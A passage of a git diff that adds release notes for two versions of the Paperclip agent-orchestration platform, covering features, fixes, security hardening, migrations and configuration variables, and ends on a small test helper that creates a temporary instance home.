+- **Deployments behind an authenticating proxy work end to end** — The live-events WebSocket now authenticates cloud-proxied browsers (previously it could never connect through an auth-terminating proxy), the service worker's fetch fallback always answers with a real `Response` instead of a blank page, the web app manifest is fetched with credentials, and the UI survives first load against a cold backend. The archived-company selection ping-pong that could trap a session in a redirect loop is gone. ([#11290](https://github.com/paperclipai/paperclip/pull/11290), [#11292](https://github.com/paperclipai/paperclip/pull/11292), [#11245](https://github.com/paperclipai/paperclip/pull/11245), [#11246](https://github.com/paperclipai/paperclip/pull/11246), [#11300](https://github.com/paperclipai/paperclip/pull/11300))
+- **Everything is scoped to the signed-in account** — Invite membership checks, company selection, and query caches are all keyed to the account that is actually signed in, caches clear on sign-out, and the stored company survives a failed company request instead of being dropped. Onboarding drafts verify ownership against a list fetched this session and never restore wizard state for a company the user does not own. ([#11417](https://github.com/paperclipai/paperclip/pull/11417), [#11430](https://github.com/paperclipai/paperclip/pull/11430), [#11380](https://github.com/paperclipai/paperclip/pull/11380), [#11477](https://github.com/paperclipai/paperclip/pull/11477), [#11382](https://github.com/paperclipai/paperclip/pull/11382), [#11370](https://github.com/paperclipai/paperclip/pull/11370))
+- **Security hardening** — Tool-access routes no longer leak cross-tenant ID oracles, routine webhooks reject HMAC replays, routine detail responses exclude assignee configuration, page-publish uploader credentials are scoped to the publish helper, execution workspace summaries are isolated, only accessible workspace file links are highlighted, the heartbeat-fallback comment can never publish a raw transcript, and CLI guidance shown to users goes through the safe `npx` form. ([#9589](https://github.com/paperclipai/paperclip/pull/9589), [#9994](https://github.com/paperclipai/paperclip/pull/9994), [#9818](https://github.com/paperclipai/paperclip/pull/9818), [#10894](https://github.com/paperclipai/paperclip/pull/10894), [#10790](https://github.com/paperclipai/paperclip/pull/10790), [#11090](https://github.com/paperclipai/paperclip/pull/11090), [#10143](https://github.com/paperclipai/paperclip/pull/10143), [#11343](https://github.com/paperclipai/paperclip/pull/11343), [#11400](https://github.com/paperclipai/paperclip/pull/11400))
+- **Runs keep their context** — Agent sessions are reused across execution handoffs and kept across issue comments, comment-wake decisions read post-insert issue state, stale closure-comment wakeups on done issues stop, successful-run handoff recovery skips recovery-action-driven and plugin-managed runs, and ACP run lifecycle corrections settle failures, sync workspaces back, and clean up leases properly. ([#9917](https://github.com/paperclipai/paperclip/pull/9917), [#10111](https://github.com/paperclipai/paperclip/pull/10111), [#10068](https://github.com/paperclipai/paperclip/pull/10068), [#8656](https://github.com/paperclipai/paperclip/pull/8656), [#9010](https://github.com/paperclipai/paperclip/pull/9010), [#9047](https://github.com/paperclipai/paperclip/pull/9047), [#11454](https://github.com/paperclipai/paperclip/pull/11454))
+- **Sandbox plumbing resilience** — The sandbox stdin file race is closed with atomic writes and a fault-tolerant poller, stdin writes are ordered in the process-session bridge, the callback bridge poll loop has a per-iteration timeout and watchdog, bridge traffic forwards to the local listen origin, the agent-hire skill's routes pass the callback bridge, runs that hit a provider worker restart window retry instead of failing setup, Daytona liveness calls are bounded per call, and `syncOut` accepts bsdtar tarball listings. ([#11235](https://github.com/paperclipai/paperclip/pull/11235), [#11406](https://github.com/paperclipai/paperclip/pull/11406), [#11341](https://github.com/paperclipai/paperclip/pull/11341), [#10017](https://github.com/paperclipai/paperclip/pull/10017), [#8978](https://github.com/paperclipai/paperclip/pull/8978), [#10212](https://github.com/paperclipai/paperclip/pull/10212), [#11408](https://github.com/paperclipai/paperclip/pull/11408), [#11289](https://github.com/paperclipai/paperclip/pull/11289))
+- **Adapter reliability** — Claude local pipes the print prompt via stdin and no longer fails root-only permission skips; Codex local skips benign stderr warnings when deriving a fallback error; OpenCode retries its models preflight under transient contention and treats the availability probe as non-fatal; Grok reports real token usage and cost instead of hardcoded zeros; Cursor cloud drops an unreachable API callback; hiring onto an adapter the instance cannot run is refused; and adapters load on Windows (`pathToFileURL` before dynamic import). ([#9500](https://github.com/paperclipai/paperclip/pull/9500), [#9463](https://github.com/paperclipai/paperclip/pull/9463), [#10003](https://github.com/paperclipai/paperclip/pull/10003), [#9225](https://github.com/paperclipai/paperclip/pull/9225), [#10294](https://github.com/paperclipai/paperclip/pull/10294), [#10433](https://github.com/paperclipai/paperclip/pull/10433), [#8546](https://github.com/paperclipai/paperclip/pull/8546), [#10256](https://github.com/paperclipai/paperclip/pull/10256), [#4287](https://github.com/paperclipai/paperclip/pull/4287))
+- **Server correctness** — `DELETE /api/issues/:id` succeeds for issues with dependents (comments and read-state cascade; cost and finance records are kept with their issue reference cleared), non-UUID company refs return 404 instead of 500, cross-package Zod errors are recognized, wiring blockers in a PATCH no longer implicitly reopens a blocked issue, unsigned ask-first requests stay out of the review queue without being cancelled, the terminal workspace reaper stops starving on its oldest candidates, the agent run JWT default TTL is aligned to the documented 48h so suspended-laptop runs stop waking with an expired credential, an explicit `PAPERCLIP_API_URL` overrides the derived runtime URL in run env, base-URL ports are only rewritten for loopback hosts, and silent nonzero exits in the Hermes flow surface as failures. ([#11331](https://github.com/paperclipai/paperclip/pull/11331), [#9959](https://github.com/paperclipai/paperclip/pull/9959), [#10168](https://github.com/paperclipai/paperclip/pull/10168), [#10269](https://github.com/paperclipai/paperclip/pull/10269), [#11338](https://github.com/paperclipai/paperclip/pull/11338), [#11238](https://github.com/paperclipai/paperclip/pull/11238), [#10176](https://github.com/paperclipai/paperclip/pull/10176), [#10339](https://github.com/paperclipai/paperclip/pull/10339), [#10258](https://github.com/paperclipai/paperclip/pull/10258), [#10107](https://github.com/paperclipai/paperclip/pull/10107))
+- **Workspace Git scans are bounded** — One bounded scheduler now coalesces and caps every expensive workspace Git scan (a request storm once produced ~270 concurrent `git status` processes and starved health checks), and the browser only starts scans when the file panel is open and visible. ([#11572](https://github.com/paperclipai/paperclip/pull/11572))
+- **UI paper cuts** — The queued-message interrupt action is back, agent secret access moved to a searchable secrets tab, slash autocomplete scrolls inside dialogs, inbox archive gained an undo toast and folded subtasks are remembered, inbox routing honors the saved policy for explicit targets, board approval prose renders as markdown, create-dialog badges use the real issue prefix, issue-document deep links route correctly, truncated issue descriptions are flagged, generated invite links prefer the public base URL, selected run lifecycle and logs stay current, and the mobile task chat gained blocker actions, a composer aligned with the thread, and a new-task dialog that stays above the keyboard. ([#11374](https://github.com/paperclipai/paperclip/pull/11374), [#11283](https://github.com/paperclipai/paperclip/pull/11283), [#11222](https://github.com/paperclipai/paperclip/pull/11222), [#11220](https://github.com/paperclipai/paperclip/pull/11220), [#11069](https://github.com/paperclipai/paperclip/pull/11069), [#11221](https://github.com/paperclipai/paperclip/pull/11221), [#9817](https://github.com/paperclipai/paperclip/pull/9817), [#8550](https://github.com/paperclipai/paperclip/pull/8550), [#11551](https://github.com/paperclipai/paperclip/pull/11551), [#4771](https://github.com/paperclipai/paperclip/pull/4771), [#7619](https://github.com/paperclipai/paperclip/pull/7619), [#10169](https://github.com/paperclipai/paperclip/pull/10169), [#11282](https://github.com/paperclipai/paperclip/pull/11282), [#11296](https://github.com/paperclipai/paperclip/pull/11296), [#11281](https://github.com/paperclipai/paperclip/pull/11281))
+- **Odds and ends** — Skill sync refreshes project folders in place instead of replacing them, issue writes through board keys work regardless of assignee, environment-secret bindings resolve their company context on first save, and worktree-mode dev instances warn when the embedded-Postgres data directory sits in the OS temp dir. ([#11066](https://github.com/paperclipai/paperclip/pull/11066), [#9025](https://github.com/paperclipai/paperclip/pull/9025), [#11291](https://github.com/paperclipai/paperclip/pull/11291), [#8283](https://github.com/paperclipai/paperclip/pull/8283))
+
+## Upgrade Guide
+
+- **Migrations**: this release adds 11 database migrations (`0212` through `0222`), covering the one-per-company onboarding first task (`0212`), resumable company transfer runs (`0213`), adapter device-login sessions (`0214`, `0215`), Cloud onboarding seeds (`0216`), issue-deletion foreign-key policies (`0217`), interaction resolver-policy defaults and provenance (`0218`), runtime exposure state (`0219`), execution-workspace runtime leases (`0220`), Claude setup-token sessions (`0221`), and environment-lease references that survive environment deletion (`0222`). Migrations run automatically on startup — no manual action required. Nothing drops a table or deletes data; note that `0218` rewrites resolver-policy values on existing pending interactions (conservatively — see Breaking Changes) and `0217`/`0222` change what happens to dependent rows on delete.
+- **New optional environment variables** (all have sensible defaults; set only if you need them):
+  - `PAPERCLIP_MANAGED_RUNTIME_HTTPS` — `auto` (default), `off`, or `force`; controls the Tailscale HTTPS default for managed runtime previews (see Breaking Changes). `PAPERCLIP_TAILSCALE_BROKER_SOCKET` and `PAPERCLIP_TAILSCALE_DNS_NAME` override the broker socket path and the tailnet DNS name; `PAPERCLIP_VITE_HMR_PROTOCOL` (`ws`/`wss`) pins the dev-preview HMR protocol. ([#11524](https://github.com/paperclipai/paperclip/pull/11524), [#11525](https://github.com/paperclipai/paperclip/pull/11525))
+  - `CLAUDE_LOGIN_TRUSTED_PROXIES` — allowlisted proxy peers for the Claude login transport guard; `CLAUDE_LOGIN_EDGE_TLS_TERMINATED=true` — declare platform-edge TLS termination on managed platforms where the proxy addresses aren't knowable. ([#11286](https://github.com/paperclipai/paperclip/pull/11286), [#11579](https://github.com/paperclipai/paperclip/pull/11579))
+  - `PAPERCLIP_ONBOARDING_SEED_ADAPTER_TYPE` — adapter type for the agent created by a Cloud onboarding seed. ([#11098](https://github.com/paperclipai/paperclip/pull/11098))
+  - `SANDBOX_ORPHAN_CLEANUP_SPOOL_DIR` — where durable sandbox cleanup records are spooled; `PAPERCLIP_PROCESS_SESSION_STDIN_MAX_RETRIES` — retry ceiling for the sandbox stdin poller. ([#11347](https://github.com/paperclipai/paperclip/pull/11347), [#11235](https://github.com/paperclipai/paperclip/pull/11235))
+- **Removed configuration keys**: `streamAgentSessionOutput` (server) and `useSessions` / `useLogStream` (Daytona plugin) no longer do anything — remove them from saved configs at your leisure; they load but are inert. ([#11557](https://github.com/paperclipai/paperclip/pull/11557))
+- **Agent run JWT TTL**: the server default now matches the documented 48h (`PAPERCLIP_AGENT_JWT_TTL_SECONDS=172800`). If you relied on the old implicit 1h expiry, set the variable explicitly. ([#10176](https://github.com/paperclipai/paperclip/pull/10176))
+- **HTTPS previews**: to use them, install Tailscale on the host and run the new broker (see the `@paperclipai/tailscale-https-broker` README); to opt out, set `PAPERCLIP_MANAGED_RUNTIME_HTTPS=off`. Nothing else changes for unmanaged or custom services.
+
+## Contributors
+
+This release has 172 commits from 32 contributors. Thank you to everyone who contributed to this release!
+
+@0xopaque, @adamteale, @ApolinarioRatio, @austinpilz, @christianlappin, @cucurigoo, @dmndbrp-oss, @dylanroy, @edgardfrz, @fronc, @futhgar, @panbanda, @raviy06, @samrusani, @santastabber, @sauerdaniel, @seb-veto, @Sergio-LPA, @stubbi, @ulisavo, @vmarchaud, @webdevdot
diff --git a/releases/v2026.817.0.md b/releases/v2026.817.0.md
new file mode 100644
index 00000000000..85df4fffec5
--- /dev/null
+++ b/releases/v2026.817.0.md
@@ -0,0 +1,79 @@
+# Paperclip v2026.817.0
+
+> Released: 2026-08-17
+
+Paperclip v2026.817.0 is the first stable release since 2026.722.0 — and the first stable ever published through the new canary → nightly → beta → stable release channels. This exact build shipped as a canary, was smoke-tested and promoted to nightly, soaked as `2026.811.0-beta.0`, and only then was promoted to stable. It carries 311 commits spanning a first-class Decisions workflow, full-fidelity company Import/Export, a managed CLI install lifecycle, a chat-style task view, and a long list of fixes and performance work.
+
+## Breaking Changes
+
+None of these require action for a typical install, but read through before upgrading:
+
+- **Docker `:latest` now means stable.** Previously `:latest` tracked every master merge. If you relied on that behavior, switch to `:canary` (or `:nightly` for a smoke-gated daily). Stable images also get `:YYYY.MDD.P` version tags and every image gets `:sha-<short-sha>` for exact pinning. ([#11006](https://github.com/paperclipai/paperclip/pull/11006))
+- **Experimental Cloud Sync is removed.** The host-to-host sync transport (previously flag-gated) is gone; company Import/Export is the single supported data-movement path. Migration `0196` drops the old sync-state tables. Your company data is untouched — only the experimental transport's own bookkeeping is removed. ([#10507](https://github.com/paperclipai/paperclip/pull/10507))
+- **Standard-trust agents can write to company-visible issues.** Comments, issue updates, child-task creation, and assignment now follow one default-open rule based on issue visibility, instead of per-channel ownership grants. Company, user, trust-scope, and run-lifecycle controls still apply, and cross-issue side effects are contained and attributed. ([#10804](https://github.com/paperclipai/paperclip/pull/10804), [#10837](https://github.com/paperclipai/paperclip/pull/10837))
+- **Archived projects are excluded from the default project list route.** Pass the explicit filter to include them. ([#10146](https://github.com/paperclipai/paperclip/pull/10146))
+
+## Highlights
+
+- **Release channels: canary → nightly → beta → stable** — Paperclip now ships on four channels. `canary` publishes on every merge to master; `nightly` republishes the newest green canary once a night, but only after the full release smoke suite (real Docker container, browser-driven onboarding) passes against the exact published artifact; `beta` is a maintainer-promoted nightly behind an approval gate, re-smoked after publish; and every stable must first soak as a beta for at least 3 days. Install with `npx paperclipai@latest` (stable), `@beta`, `@nightly`, or `@canary`, or pull `ghcr.io/paperclipai/paperclip:latest` / `:beta` / `:nightly` / `:canary`. Docker `:latest` now means **stable** — see Breaking Changes above. Full details in `doc/CHANNELS.md`. ([#11006](https://github.com/paperclipai/paperclip/pull/11006), [#11008](https://github.com/paperclipai/paperclip/pull/11008))
+- **Decisions: a first-class propose/decide workflow** — Agents can now propose multi-option actions instead of performing them, and humans decide from a governed, auditable surface. Decisions v1 adds the propose mode itself (typed options and inputs, stale-target detection, audited effect execution), durable decision queues with a prioritized, decide-now-ranked attention feed, and a Decisions desk with triage controls, an aging shelf, and reversible retention. Completed-target decisions retire automatically and link back to their targets. ([#10010](https://github.com/paperclipai/paperclip/pull/10010), [#10651](https://github.com/paperclipai/paperclip/pull/10651), [#10672](https://github.com/paperclipai/paperclip/pull/10672), [#10785](https://github.com/paperclipai/paperclip/pull/10785), [#10474](https://github.com/paperclipai/paperclip/pull/10474), [#10892](https://github.com/paperclipai/paperclip/pull/10892))
+- **Full-fidelity company Import/Export replaces Cloud Sync** — The experimental host-to-host Cloud Sync transport is gone; Import/Export is now the single way to move a company between instances (self-hosted ↔ cloud, or plain backups), with no reachability or cross-instance auth requirements. Bundles (schemaVersion 6) now carry labels, blockers, issue documents, work products, monitors, and every attachment as content-addressed sha256 blobs verified before a single row is written. Imports run as durable async jobs with batched inserts and an integrity guard, packages upload as compressed zips, and the upload cap is now 1 GB and operator-configurable via `PAPERCLIP_IMPORT_ZIP_MAX_BYTES`. ([#10507](https://github.com/paperclipai/paperclip/pull/10507), [#10523](https://github.com/paperclipai/paperclip/pull/10523), [#10531](https://github.com/paperclipai/paperclip/pull/10531), [#10538](https://github.com/paperclipai/paperclip/pull/10538), [#11184](https://github.com/paperclipai/paperclip/pull/11184))
+- **Managed install, update, and service lifecycle in the CLI** — The `paperclipai` CLI can now install Paperclip as a durable, self-updating service instead of an ephemeral `npx` process: managed install with a per-user payload store and stable command shim, side-by-side updates with pre-update backups and retained rollback state, plus `service`, `uninstall`, `doctor`, and bootstrap-installer support across Linux, macOS, containers, and WSL. Managed updates preserve your env files and extensions. ([#10045](https://github.com/paperclipai/paperclip/pull/10045), [#10980](https://github.com/paperclipai/paperclip/pull/10980), [#11005](https://github.com/paperclipai/paperclip/pull/11005))
+- **One Activity page for "who changed what"** — The basic Activity list and the separate Audit page merged into a single rich Activity page built on the audit feed: full history, filters, a scope toggle for all actors vs. agent actions only, and a per-agent audit tab on agent detail. Privileged controls are hidden from members without the audit permission, and cross-task agent writes now come with attribution, audit receipts, and actionable denial messages. ([#10838](https://github.com/paperclipai/paperclip/pull/10838), [#10831](https://github.com/paperclipai/paperclip/pull/10831), [#9744](https://github.com/paperclipai/paperclip/pull/9744), [#10843](https://github.com/paperclipai/paperclip/pull/10843))
+
+## Improvements
+
+- **Multi-project workspace sync, on by default** — Runs that reference multiple projects now sync every referenced project into the workspace by default, with per-project authorization resolved at run prep and partial-sync warnings surfaced on the run. @-mentioned projects are also staged into remote sandboxes over the confined transport. ([#10473](https://github.com/paperclipai/paperclip/pull/10473), [#10469](https://github.com/paperclipai/paperclip/pull/10469), [#10380](https://github.com/paperclipai/paperclip/pull/10380), [#10564](https://github.com/paperclipai/paperclip/pull/10564))
+- **Shared workspace concurrency controls** — Issue runs on a shared workspace are serialized with bounded busy deferrals, and the concurrency limit is configurable from the workspace policy editor. ([#10699](https://github.com/paperclipai/paperclip/pull/10699), [#10759](https://github.com/paperclipai/paperclip/pull/10759), [#10771](https://github.com/paperclipai/paperclip/pull/10771))
+- **Human-approved secret proposals** — Agents that encounter credentials during work can hand them into Paperclip as inert proposals; nothing becomes a live secret or binding until an authorized human reviews and approves. Secret details also gained write-through editing of external values and deep links. ([#9934](https://github.com/paperclipai/paperclip/pull/9934), [#10196](https://github.com/paperclipai/paperclip/pull/10196))
+- **Agent-to-agent governance surfaces** — Issue-thread interactions support governed agent addressees, so one agent can explicitly address another for a response, with server-side authorization, withdrawal, and terminal-issue expiry. Agents can resolve review confirmations under explicit review verdict policies, review rounds are capped with exhausted reviews escalated to the responsible human, delegation cycles back to an open ancestor's creator are refused, and assignment to paused agents is refused (with warnings when an escalation path routes to a paused manager). ([#10252](https://github.com/paperclipai/paperclip/pull/10252), [#10251](https://github.com/paperclipai/paperclip/pull/10251), [#10939](https://github.com/paperclipai/paperclip/pull/10939), [#10931](https://github.com/paperclipai/paperclip/pull/10931), [#10650](https://github.com/paperclipai/paperclip/pull/10650), [#10658](https://github.com/paperclipai/paperclip/pull/10658), [#10648](https://github.com/paperclipai/paperclip/pull/10648), [#10657](https://github.com/paperclipai/paperclip/pull/10657))
+- **Task-scoped egress grants for confined runs** — On Kubernetes confinement, tasks that legitimately need GitHub or package registries can request narrow, issue-scoped egress grants that become run-label-selected network policies, instead of the operator enabling broad namespace-wide egress. Denied requests explain the governing policy and how to request a grant. ([#10155](https://github.com/paperclipai/paperclip/pull/10155))
+- **Cache-adjusted run cost** — Adapters can report the provider-billed cost after prompt-cache discounts, so cache-heavy runs stop being priced wrong in the cost ledger. ([#10349](https://github.com/paperclipai/paperclip/pull/10349))
+- **Routines: activity-gated run policy** — Routines can gate advanced runs on recent activity, exposed through both the editor and the API, and the routines list groups by folder name. ([#10225](https://github.com/paperclipai/paperclip/pull/10225), [#9438](https://github.com/paperclipai/paperclip/pull/9438), [#10201](https://github.com/paperclipai/paperclip/pull/10201))
+- **Model catalog updates** — Claude Opus 5 and Claude Sonnet 5 join the Claude adapter's static model fallback, and GPT-5.6 model metadata is resolved at source for Codex. Cheap model profiles are now disabled by default for new agents: an adapter's `cheap` profile requires an explicit operator opt-in at agent creation, and Codex's cheap profile no longer defaults to a hardcoded model (existing agents are unchanged). ([#10327](https://github.com/paperclipai/paperclip/pull/10327), [#10280](https://github.com/paperclipai/paperclip/pull/10280), [#9780](https://github.com/paperclipai/paperclip/pull/9780), [#10019](https://github.com/paperclipai/paperclip/pull/10019))
+- **Daytona sandbox improvements** — Agent output streams live from Daytona sandboxes (no more host output polling), sessions are persistent with plain command dispatch, and an advisory bwrap wrapper with capability probes hardens execution; app-home ownership is ensured before the privilege drop. ([#11049](https://github.com/paperclipai/paperclip/pull/11049), [#10941](https://github.com/paperclipai/paperclip/pull/10941), [#10541](https://github.com/paperclipai/paperclip/pull/10541), [#10554](https://github.com/paperclipai/paperclip/pull/10554), [#10805](https://github.com/paperclipai/paperclip/pull/10805), [#10530](https://github.com/paperclipai/paperclip/pull/10530))
+- **Quieter, clearer system messaging** — Recovery notices are structured and humanized into compact rows with evidence on demand, recovery updates are quieter overall, recovery and blocked-notice copy is rewritten in plain language, and workspace-ready comments render as compact system notices. ([#11075](https://github.com/paperclipai/paperclip/pull/11075), [#10542](https://github.com/paperclipai/paperclip/pull/10542), [#10065](https://github.com/paperclipai/paperclip/pull/10065), [#10636](https://github.com/paperclipai/paperclip/pull/10636))
+- **UI quality of life** — Task chat composer drafts persist across navigation, task lists gained recency separators, copy and feedback actions returned to the agent bubble footer, the task identifier shows in the task-detail breadcrumb, and page loads got animated paperclip loaders. Task priority controls are hidden from the UI (the data model, API, and search DSL are fully intact). ([#11076](https://github.com/paperclipai/paperclip/pull/11076), [#10454](https://github.com/paperclipai/paperclip/pull/10454), [#11025](https://github.com/paperclipai/paperclip/pull/11025), [#10933](https://github.com/paperclipai/paperclip/pull/10933), [#10456](https://github.com/paperclipai/paperclip/pull/10456), [#11024](https://github.com/paperclipai/paperclip/pull/11024))
+- **Per-user document stars** — Star documents for yourself without affecting anyone else. ([#9952](https://github.com/paperclipai/paperclip/pull/9952))
+- **Faster steady-state server** — Steady-state DB hot paths in the dashboard, attention, and productivity sweeps were cut down, attention feed queries run in parallel instead of strictly sequential (a big win when Postgres is network-attached), and new indexes cover the recovery-sweep lookups. ([#10992](https://github.com/paperclipai/paperclip/pull/10992), [#10795](https://github.com/paperclipai/paperclip/pull/10795), [#10969](https://github.com/paperclipai/paperclip/pull/10969))
+- **Faster sandbox startup** — Sandbox run startup sheds round trips across the board: git-workspace staging coalesces into one confined sync, dead start round trips are folded, the two bridge setups run in parallel, the started sandbox handle is cached per lease, remote script writes skip on content-hash match, staging happens once per remote session, and exec wrappers drop nvm sourcing with an opt-in no-profile fast path. ([#10488](https://github.com/paperclipai/paperclip/pull/10488), [#10485](https://github.com/paperclipai/paperclip/pull/10485), [#10334](https://github.com/paperclipai/paperclip/pull/10334), [#10335](https://github.com/paperclipai/paperclip/pull/10335), [#10377](https://github.com/paperclipai/paperclip/pull/10377), [#10089](https://github.com/paperclipai/paperclip/pull/10089), [#10443](https://github.com/paperclipai/paperclip/pull/10443), [#10352](https://github.com/paperclipai/paperclip/pull/10352))
+- **Snappier UI navigation** — Issue detail navigation is warmed ahead of the click. ([#10416](https://github.com/paperclipai/paperclip/pull/10416))
+- **Observability** — Sandbox startup and execution now emit granular OpenTelemetry spans (provider round trips, pack/transfer, cache-hit flags, per-step timing attribution), and manual spans export correctly. ([#10758](https://github.com/paperclipai/paperclip/pull/10758), [#10764](https://github.com/paperclipai/paperclip/pull/10764), [#10999](https://github.com/paperclipai/paperclip/pull/10999), [#10204](https://github.com/paperclipai/paperclip/pull/10204), [#10565](https://github.com/paperclipai/paperclip/pull/10565))
+
+## Experimental
+
+These ship behind experimental settings toggles.
+
+- **Chat-style task view** — An opt-in "Chat-Style Tasks" experiment turns the issue detail page into a conversation: the thread leads, the composer stays at the bottom, live tool activity folds into compact summaries, and properties/plan/artifacts move into header tabs. A second iteration added a rich-text composer with attachment chips, live-turn narration, and a mobile layout. ([#10606](https://github.com/paperclipai/paperclip/pull/10606), [#10707](https://github.com/paperclipai/paperclip/pull/10707))
+- **Apps and Connections** — Notion connects through MCP OAuth with PKCE and dynamic client registration — no manual OAuth credential setup — and companies can hold multiple connections to the same provider, with explicit review decisions for quarantined actions. ([#11009](https://github.com/paperclipai/paperclip/pull/11009), [#11060](https://github.com/paperclipai/paperclip/pull/11060), [#11040](https://github.com/paperclipai/paperclip/pull/11040))
+- **Status cards** — An experimental status card view compiles a single-prompt, agent-generated status update, joining summary-mentioned issues to the watched set. ([#10101](https://github.com/paperclipai/paperclip/pull/10101), [#10202](https://github.com/paperclipai/paperclip/pull/10202), [#10205](https://github.com/paperclipai/paperclip/pull/10205))
+- **Simplified English interactions** — An experimental flag renders agent interactions in Simplified English, with an optional `/simplified-english` skill in the catalog. ([#10934](https://github.com/paperclipai/paperclip/pull/10934), [#10410](https://github.com/paperclipai/paperclip/pull/10410))
+
+## Fixes
+
+- **Real version numbers everywhere** — Published Docker images now stamp the real build version instead of the `package.json` placeholder, bake in the build commit, and expose the running commit on the unauthenticated health response — so `--version`, the UI, and `/health` finally agree on what you're running. ([#10257](https://github.com/paperclipai/paperclip/pull/10257), [#10566](https://github.com/paperclipai/paperclip/pull/10566), [#10563](https://github.com/paperclipai/paperclip/pull/10563))
+- **Config preservation** — Managed config repair preserves extensions and guards invalid repairs, managed environment drift survives boot, and skill sync / package import no longer silently replace an operator's skill selections — replacement now requires an explicit merge mode. ([#11005](https://github.com/paperclipai/paperclip/pull/11005), [#10979](https://github.com/paperclipai/paperclip/pull/10979), [#10978](https://github.com/paperclipai/paperclip/pull/10978))
+- **Inbox correctness** — Tasks completed by human users archive properly, passive issue views stay out of Mine, archived-by-you items stay archived, inbox re-sorts defer to attention boundaries so items stop jumping mid-read, empty search sections hide, and external object summaries no longer leak into the inbox. ([#10668](https://github.com/paperclipai/paperclip/pull/10668), [#10581](https://github.com/paperclipai/paperclip/pull/10581), [#10623](https://github.com/paperclipai/paperclip/pull/10623), [#10700](https://github.com/paperclipai/paperclip/pull/10700), [#10020](https://github.com/paperclipai/paperclip/pull/10020))
+- **Workspace resilience** — Execution workspaces whose recorded branch no longer exists self-heal, isolated workspace provisioning self-heals when the base CLI is broken, sandbox git copy-back bundles against the merge-base so diverged or reset workspaces still import, delivered workspaces are recognized and terminal worktrees reaped, and isolated setup defers until runtime start. ([#10578](https://github.com/paperclipai/paperclip/pull/10578), [#10574](https://github.com/paperclipai/paperclip/pull/10574), [#10601](https://github.com/paperclipai/paperclip/pull/10601), [#10908](https://github.com/paperclipai/paperclip/pull/10908), [#10653](https://github.com/paperclipai/paperclip/pull/10653))
+- **Codex adapter reliability** — Mid-turn harness crashes are classified structurally as retriable infrastructure errors, silent active builds are preserved, control-plane access is preserved in sandbox runs, sandbox runs can use the sandbox image's own Codex login, and a duplicate `--skip-git-repo-check` flag injection is gone. ([#10210](https://github.com/paperclipai/paperclip/pull/10210), [#10153](https://github.com/paperclipai/paperclip/pull/10153), [#10152](https://github.com/paperclipai/paperclip/pull/10152), [#10582](https://github.com/paperclipai/paperclip/pull/10582), [#10595](https://github.com/paperclipai/paperclip/pull/10595))
+- **Plugin runtime fixes** — Plugin agent session turns and replies deliver reliably, freshly-started plugin workers receive their stored config, and proactive worker-to-host calls resolve a company scope. ([#10137](https://github.com/paperclipai/paperclip/pull/10137), [#10092](https://github.com/paperclipai/paperclip/pull/10092), [#10103](https://github.com/paperclipai/paperclip/pull/10103))
+- **Backup retention respects calendar months** — Monthly backup pruning now uses calendar-month boundaries instead of a fixed 30-day approximation, so it no longer deletes valid month-end backups early. Isolated worktree dev instances also stop scheduling their own redundant backup streams. ([#3718](https://github.com/paperclipai/paperclip/pull/3718), [#10520](https://github.com/paperclipai/paperclip/pull/10520))
+- **Server hardening** — Company-export YAML renders iteratively to stop a stack overflow on large companies, `PAPERCLIP_DECISION_SIGNING_SECRET` is no longer required at startup (a secure persisted instance key is used when absent), duplicate built-in agents are prevented and self-healed, routine checkout conflicts return 409, and due timer intervals are claimed atomically. ([#10854](https://github.com/paperclipai/paperclip/pull/10854), [#10594](https://github.com/paperclipai/paperclip/pull/10594), [#10223](https://github.com/paperclipai/paperclip/pull/10223), [#3790](https://github.com/paperclipai/paperclip/pull/3790), [#10584](https://github.com/paperclipai/paperclip/pull/10584))
+- **UI paper cuts** — White-on-white text on light-mode chat bubbles, the Live badge and Working shimmer surviving task teardown, blockquotes the markdown editor escaped as `\>`, clipboard copy over plain HTTP, plans not showing in the Plan pane, agent detail lingering after termination, and the full selected timeline window not loading are all fixed. ([#10952](https://github.com/paperclipai/paperclip/pull/10952), [#10985](https://github.com/paperclipai/paperclip/pull/10985), [#10466](https://github.com/paperclipai/paperclip/pull/10466), [#10875](https://github.com/paperclipai/paperclip/pull/10875), [#10930](https://github.com/paperclipai/paperclip/pull/10930), [#10451](https://github.com/paperclipai/paperclip/pull/10451), [#9576](https://github.com/paperclipai/paperclip/pull/9576))
+
+## Upgrade Guide
+
+- **Migrations**: this release adds 28 database migrations (`0184` through `0211`) covering Decisions, status cards, document memberships, interaction governance, and new indexes. Migrations run automatically on startup — no manual action required. Note that `0196` drops the tables belonging to the removed experimental Cloud Sync transport (see Breaking Changes).
+- **New optional environment variables** (all have sensible defaults; set only if you need them):
+  - `PAPERCLIP_IMPORT_ZIP_MAX_BYTES` — company import zip upload cap (default 1 GB). ([#11184](https://github.com/paperclipai/paperclip/pull/11184))
+  - `DATABASE_PREPARED_STATEMENTS`, `DATABASE_POOL_MAX`, `DATABASE_IDLE_TIMEOUT_SECONDS`, `DATABASE_CONNECT_TIMEOUT_SECONDS` — DB client tuning; set `DATABASE_PREPARED_STATEMENTS=false` when connecting through a transaction-mode pooler (pgbouncer, Supavisor, Neon pooled hosts). ([#10795](https://github.com/paperclipai/paperclip/pull/10795))
+  - `RUN_LOG_S3_INFLIGHT_MIRROR_SECONDS` — opt-in throttled mirroring of in-flight run logs to S3 with a graceful-shutdown flush; unset means no change. ([#10512](https://github.com/paperclipai/paperclip/pull/10512))
+  - `PAPERCLIP_DECISION_SIGNING_SECRET` — optional override for decision signing; when absent, a secure persisted instance key is used automatically. ([#10594](https://github.com/paperclipai/paperclip/pull/10594))
+- **Docker users**: decide which channel you want. If you tracked `:latest` for master builds, that lane is now `:canary`; `:latest` only moves on stable releases from here on.
+- **Downgrading across channels** (e.g. nightly back to stable) can mean running an older schema than your data was created with — treat a downgrade like a restore and back up your data directory first.
+
+## Contributors
+
+This release has 311 commits from 17 contributors. Thank you to everyone who contributed to this release!
+
+@bluzername, @LeonSGP43, @myaji35, @noahrasheta, @samrusani, @santhiprakash, @scokeepa, @sparkeros
diff --git a/scripts/__tests__/provision-worktree-self-heal.test.mjs b/scripts/__tests__/provision-worktree-self-heal.test.mjs
index 606a24edc2d..bbe44698d19 100644
--- a/scripts/__tests__/provision-worktree-self-heal.test.mjs
+++ b/scripts/__tests__/provision-worktree-self-heal.test.mjs
@@ -21,6 +21,17 @@ function makeTempDir(prefix) {
   return dir;
 }
 
+/**
+ * A control plane's own instance home. A managed project checkout carries no
+ * instance config of its own, so this is the seed source the scripts fall back to.
+ */
+function makeInstanceHome() {
+  const home = makeTempDir("paperclip-provision-instance-home-");
+  fs.mkdirSync(path.join(home, "instances", "default"), { recursive: true });
+  fs.writeFileSync(path.join(home, "instances", "default", "config.json"), "{}\n");
+  return home;
+}
